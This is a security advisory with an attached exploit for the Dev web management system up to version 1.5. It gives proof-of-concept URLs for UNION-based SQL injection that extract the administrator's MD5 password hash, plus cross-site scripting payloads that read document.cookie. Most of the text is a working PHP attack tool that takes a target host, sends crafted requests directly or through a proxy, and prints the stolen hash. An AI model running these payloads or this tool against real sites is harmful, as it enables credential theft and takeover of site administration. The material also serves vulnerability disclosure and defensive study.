---- Dev web management system <= 1.5 SQL injection / cross site scripting ----- software: site: http://dev-wms.sourceforge.net/ description: "Dev is powerful and very flexible content management system for web portals[..]" ------------------------------------------------------------------------------- vulnerabilities: -------------------------------------------------------------------------------- i) in openforum.php at line 19: ... $miestnost=mysql_fetch_array(mysql_query("SELECT id, nazov, editorid FROM forum1cat WHERE id=$cat",$spojenie)); ... "cat" argument is not properly sanitized before to be passed to a query, so you can inject SQL statements regardless of magic_quotes_gpc settings, poc: http://[target]/[path]/index.php?session=0&action=openforum&cat=-1%20UNION%20SELECT%20value,value,value%20FROM%20variables1%20WHERE%20name=CHAR(97,100,109,105,110,95,112,97,115,115,119,111,114,100) now you have at screen site admnistration MD5 password hash... -------------------------------------------------------------------------------- ii) in getfile.php: ... include_once ("./register_globals.php"); if (!$cat) die ("Access denied"); include "admin/_dbase.conf.php"; $spojenie=mysql_pconnect ($conf_mysql_server,$conf_mysql_user_name,$conf_mysql_password); mysql_select_DB ($conf_mysql_database_name); include "class_configuration.php"; $configuration->ConfLoadDBtoPHP(); include "admin/_config.php"; echo "SELECT icon, icontype FROM prispevok1cat WHERE cat LIKE '$cat' LIMIT 1"; $image=mysql_fetch_array(mysql_query("SELECT icon, icontype FROM prispevok1cat WHERE cat LIKE '$cat' LIMIT 1", $spojenie)); if ($image) { header ("Content-type: $image[icontype]"); echo $image[icon]; } else { echo "Image not found"; } ... if magic_quotes_gpc off, same results with: http://[target]/[path]/getfile.php?cat=%%'UNION%20SELECT%20value,value%20FROM%20variables1%20%20WHERE%20name='admin_password'/* -------------------------------------------------------------------------------- iii) also we have sql injection (hard to exploit?) )in download_now.php at line 31-33: ... $out=mysql_fetch_array(mysql_query("SELECT Count(id) FROM downloadmanager WHERE id = ".$target,$spojenie)); if ($out[0]==1) { $out2 = mysql_fetch_array(mysql_query("SELECT * FROM downloadmanager WHERE id = $target",$spojenie)); ... http://[target]/[path]/download_now.php?target=9999999999999[SQL] -------------------------------------------------------------------------------- iv) xss: http://[target]/[path]/add.php?language[ENTER_ARTICLE_TITLE]=";);}}--></script><script>alert(document.cookie)</script> http://[target]/[path]/add.php?language[SPECIFY_ZONE]=";);}}--></script><script>alert(document.cookie)</script> http://[target]/[path]/add.php?language[ENTER_ARTICLE_HEADER]=";);}}--></script><script>alert(document.cookie)</script> http://[target]/[path]/add.php?language[ENTER_ARTICLE_BODY]=";);}}--></script><script>alert(document.cookie)</script> -------------------------------------------------------------------------------- this is the tool for i) & ii): <?php # ---Dev_15_sql_xpl.php 9.54 24/12/2005 # # # # Dev <=1.5 'cat' SQL injection / admin MD5 password hash disclosure # # coded by rgod # # site: http://rgod.altervista.org # # # # -> this works regardless of magic_quotes_gpc setting # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu: "Prohibit the taking of omens, and do away with superstitious # # doubts. Then, until death itself comes, no calamity need be feared." # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 5); ob_implicit_flush (1); echo'<html><head><title>********* Dev <=1.5 \'cat\' SQL injection ************** </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> ********* Dev <=1.5 \'cat\' SQL injection **************</p><p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank";> http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com) </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex: /dev/ or just / ) </span> </p> <p> <input type="text" name="prefix"> <span class="Stile5">Specify a table prefix (default: no table prefix) </span> </p><p> <input type="text" name="port"><span class="Stile5">specify a port other than 80 default value )</span> </p> <p> <input type="text" name="proxy"> <span class="Stile5">send exploit through an HTTP proxy (ip:port) </span> </p> <p> <input type="submit" name="Submit" value="go!"></p></form> </td> </tr></table> </body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port."...<br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } function is_hash($hash) { if (ereg("^[a-z0-9]{32}",trim($hash))) {return true;} else {return false;} } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$prefix=$_POST[prefix]; $proxy=$_POST[proxy]; if (($host<>'') and ($path<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); #STEP 1 -> vulnerability in openforum.php (array of chars is 'admin_password' string encoded' #to bypass magic quotes $SQL="-1 UNION SELECT value,value,value from ".$prefix."variables1 where name=CHAR(97,100"; $SQL.=",109,105,110,95,112,97,115,115,119,111,114,100)"; $SQL=urlencode($SQL); $packet="GET ".$p."index.php?session=0&action=openforum&cat=".$SQL." HTTP/1.1\r\n"; $packet.="User-Agent: Aplix_SANYO_browser/1.x (Japanese)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); $temp=explode('>Board theme: "',$html); $temp2=explode('"',$temp[1]); $HASH=$temp2[0]; if (is_hash($HASH)) {echo "HASH ->".htmlentities($HASH)."<BR>";die("Exploit Succeeded...");} else {echo "Step 1 failed... trying step 2...<br>";} #STEP 2 -> if STEP 1 failed, vulnerability in getfile.php... this works with magic_quotes off $SQL="'UNION SELECT value,value FROM ".$prefix."variables1 WHERE name='admin_password'/*"; $SQL=urlencode($SQL); $packet="GET ".$p."getfile.php?cat=".$SQL." HTTP/1.1\r\n"; $packet.="User-Agent: Python-urllib/2.0a1, maybe ;)\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); $temp=explode('Content-Type: ',$html); $temp2=explode(chr(0x0d),$temp[1]); $HASH=$temp2[0]; if (is_hash($HASH)) {echo "HASH ->".htmlentities($HASH)."<BR>Exploit Succeeded...";} else {echo "Exploit failed...";} } ?> -------------------------------------------------------------------------------- rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/dev_15_sql_xpl.html --------------------------------------------------------------------------------
